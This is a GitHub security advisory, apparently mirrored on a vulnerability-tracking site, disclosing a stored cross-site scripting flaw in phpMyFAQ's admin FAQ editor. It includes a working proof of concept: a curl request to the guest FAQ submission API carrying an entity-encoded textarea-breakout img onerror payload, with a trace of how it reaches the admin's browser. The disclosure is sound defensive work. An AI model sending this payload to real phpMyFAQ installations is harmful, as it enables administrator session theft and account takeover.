GHSA-PGWP-VC7Q-CVJ3
Vulnerability from github – Published: 2026-09-24 19:28 – Updated: 2026-09-24 19:28Summary
A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.
Details
Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)
$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
$answer = trim(html_entity_decode((string) $answer));
}
Root cause:
Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).
When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>
The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB
Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
PoC
Prerequisites:
- main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)
- records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)
- At least one FAQ category must exist
Step 1: Inject XSS payload as unauthenticated guest
curl -X POST https://TARGET/api/faq/create \
-H 'Content-Type: application/json' \
-d '{
"name": "Legitimate User",
"email": "user@example.com",
"question": "How to configure SMTP settings?",
"answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
"lang": "en",
"keywords": "smtp email",
"rubrik": ["1"],
"captcha": "<valid-captcha-or-empty-if-disabled>"
}'
Response: {"success":"Thank you for your suggestion!"}
Processing trace:
1. Input answer: </textarea><img src=x onerror=alert(document.domain)><textarea>
2. filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchanged
3. html_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>
4. Stored in database as raw executable HTML
Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry:
GET /admin/faq/edit/{faqId}/{lang}
The admin template renders:
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>
The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
Impact
- Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
- Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
- No special privileges required — default configuration allows guest FAQ submissions (
records.allowNewFaqsForGuests=true) - Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0-alpha"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0-alpha"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56736"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T19:28:43Z",
"nvd_published_at": "2026-09-24T15:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\nA stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator\u0027s browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig\u0027s `|raw` filter without any output sanitization.\n\n### Details\n**Vulnerable file:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php` (lines 109-115)\n\n```php\n$answer = Filter::filterVar($data-\u003eanswer, FILTER_SANITIZE_SPECIAL_CHARS);\nif ($this-\u003econfiguration-\u003eget(item: \u0027main.enableWysiwygEditorFrontend\u0027)) {\n $answer = trim(html_entity_decode((string) $answer));\n}\n```\n\n**Root cause:**\n\n`Filter::filterVar()` with `FILTER_SANITIZE_SPECIAL_CHARS` internally calls `filterSanitizeString()` which applies `strip_tags()` to remove HTML tags. However, `strip_tags()` only removes **actual HTML tag syntax** (e.g., `\u003cscript\u003e`) \u2014 it does NOT remove **HTML entities** (e.g., `\u0026lt;script\u0026gt;`).\n\nWhen `enableWysiwygEditorFrontend` is `true`, `html_entity_decode()` is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.\n\n**Vulnerable sink (admin template):** `phpmyfaq/assets/templates/admin/content/faq.editor.twig` (line 127)\n\n```twig\n\u003ctextarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n placeholder=\"{{ \u0027msgAnswer\u0027 | translate }}\"\n\u003e{{ faqData[\u0027content\u0027] | raw }}\u003c/textarea\u003e\n```\n\nThe admin FAQ editor controller (`Administration/FaqController.php`) loads the FAQ content directly from the database and passes it to the template without sanitization:\n\n```php\n$this-\u003efaq-\u003egetFaq($faqId, null, true);\n$faqData = $this-\u003efaq-\u003efaqRecord; // Raw content from DB\n```\n\n**Note:** The public-facing FAQ view IS properly sanitized via `FaqHelper::cleanUpContent()` which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.\n\n\n### PoC\n**Prerequisites:**\n- `main.enableWysiwygEditorFrontend` = `true` (non-default, but commonly enabled for rich-text user FAQ contributions)\n- `records.allowNewFaqsForGuests` = `true` (DEFAULT value \u2014 guests can submit FAQs)\n- At least one FAQ category must exist\n\n**Step 1: Inject XSS payload as unauthenticated guest**\n\n```bash\ncurl -X POST https://TARGET/api/faq/create \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"name\": \"Legitimate User\",\n \"email\": \"user@example.com\",\n \"question\": \"How to configure SMTP settings?\",\n \"answer\": \"\u0026lt;/textarea\u0026gt;\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\u0026lt;textarea\u0026gt;\",\n \"lang\": \"en\",\n \"keywords\": \"smtp email\",\n \"rubrik\": [\"1\"],\n \"captcha\": \"\u003cvalid-captcha-or-empty-if-disabled\u003e\"\n }\u0027\n```\n\nResponse: `{\"success\":\"Thank you for your suggestion!\"}`\n\n**Processing trace:**\n1. Input answer: `\u0026lt;/textarea\u0026gt;\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\u0026lt;textarea\u0026gt;`\n2. `filterSanitizeString()` \u2192 `strip_tags()` finds no actual `\u003ctag\u003e` syntax \u2192 string passes through unchanged\n3. `html_entity_decode()` converts entities \u2192 `\u003c/textarea\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\u003ctextarea\u003e`\n4. Stored in database as raw executable HTML\n\n**Step 2: Admin triggers XSS by reviewing the submitted FAQ**\n\nWhen an administrator navigates to edit the submitted FAQ entry:\n```\nGET /admin/faq/edit/{faqId}/{lang}\n```\n\nThe admin template renders:\n```html\n\u003ctextarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n placeholder=\"Answer\"\n\u003e\u003c/textarea\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\u003ctextarea\u003e\u003c/textarea\u003e\n```\n\nThe `\u003c/textarea\u003e` breaks out of the editor textarea element, and the `\u003cimg onerror=...\u003e` executes JavaScript immediately in the admin\u0027s browser context.\n\n\u003cimg width=\"1387\" height=\"562\" alt=\"admin stored xss alert poc\" src=\"https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a\" /\u003e\n\u003cimg width=\"1393\" height=\"805\" alt=\"admin stored xss poc\" src=\"https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333\" /\u003e\n\n\n**Note:** For logged-in users submitting FAQs, the captcha check is automatically bypassed (`BuiltinCaptcha::checkCaptchaCode()` returns `true` when user is logged in).\n\n\n### Impact\n- **Stored XSS targeting administrators** \u2014 every FAQ submission is reviewed by an admin, guaranteeing payload delivery\n- **Admin account takeover** \u2014 attacker can steal session cookies, create new admin accounts, or modify system configuration\n- **No special privileges required** \u2014 default configuration allows guest FAQ submissions (`records.allowNewFaqsForGuests` = `true`)\n- **Public view is unaffected** \u2014 the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable",
"id": "GHSA-pgwp-vc7q-cvj3",
"modified": "2026-09-24T19:28:44Z",
"published": "2026-09-24T19:28:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pgwp-vc7q-cvj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56736"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/24b68068747ad632398e3b3bab2989e76e43ef82"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.2.0-alpha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.